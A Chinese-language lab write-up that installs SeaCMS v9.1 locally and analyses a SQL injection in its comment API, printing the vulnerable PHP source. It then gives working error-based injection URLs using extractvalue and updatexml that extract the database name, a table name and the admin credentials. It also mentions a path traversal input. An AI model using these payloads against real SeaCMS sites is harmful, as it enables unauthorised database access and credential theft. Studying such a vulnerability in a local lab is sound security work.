目录
1、将安装包中update里面的文件内容解压保存到D:\phpstudy_pro\WWW\seacms9中,以便我们使用小皮创建网站时更加方便
[2、安装海洋cms V9.1系统](#2、安装海洋cms V9.1系统)
[1、海洋cmsv9 出现注入漏洞的文件及其分析:](#1、海洋cmsv9 出现注入漏洞的文件及其分析:)
一、环境搭建(使用小皮面板)
安装包自行获取
链接:https://pan.quark.cn/s/67642db61635
提取码:sScU
1、将安装包中update里面的文件内容解压保存到D:\phpstudy_pro\WWW\seacms9中,以便我们使用小皮创建网站时更加方便
物理路径为刚才update文件保存的地址(但是我是将update中的文件全部复制到文件seacms9所以并没有update这个文件),端口自拟定,不要太特殊就行

MySQL的版本选择5.X

2、安装海洋cms V9.1系统
在安装包内有详细的安装步骤这里不做说明
http://localhost:7878/seacms9/install/index.php(我访问这里网站进行安装)
3、最终安装好后的效果呈现

二、分析其源码中的sql注入漏洞
1、海洋cmsv9 出现注入漏洞的文件及其分析:
php
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
function ReadReplyID($gid,$cmid,&$rlist)
{
global $dsql;
if($cmid>0)
{
if(!in_array($cmid,$rlist))$rlist[]=$cmid;
$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
if(is_array($row))
{
$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
}else
{
$ReplyID = "";
}
}else
{
$ReplyID = "";
}
return $ReplyID;
}
function FormatJson($json)
{
$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
for($i=6;$i>=0;$i--)
{
$x=str_replace("%".$i."%",$json[$i],$x);
}
$formatJson = jsonescape($x);
return $formatJson;
}
function jsonescape($txt)
{
$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
return $jsonescape;
}
可能出现的相关漏洞:
变量 $type
、$id
、$page
、$size
、$ids
和 $cmid
都是用户输入的数据,直接拼接到 SQL 语句中,没有进行任何过滤或转义处理。攻击者可以通过构造特殊的输入,如在 $id
中输入 1 OR 1=1
,就可以绕过查询条件,获取所有记录。没有使用 $_GET
、$_POST
或 $_REQUEST
来获取用户输入的数据,而是直接使用全局变量,容易被攻击者利用。变量 $type
和 $id
是用户输入的数据,直接拼接到文件路径中,没有进行任何过滤或验证。攻击者可以通过构造特殊的输入,如 ../etc/passwd
,来访问系统中的敏感文件。
2、报错注入
爆出数据库名:
php
使用extractvalue() 函数:
http://localhost:7878/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,extractvalue(1,concat_ws(0x7e,0x7e,database())),@`%27`

爆出表名:
php
http://localhost:7878/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

但由于sea_comment
表中没有数据,导致查询未被执行。

通过向sea_comment
表插入数据,最终成功获取到了管理员用户名admin
。

爆出用户名:
php
使用updatetexml()函数:
http://localhost:7878/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

爆出密码:
php
http://localhost:7878/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

使用MD5在线破解进行解密:

最终得出管理员的账号和密码均为admin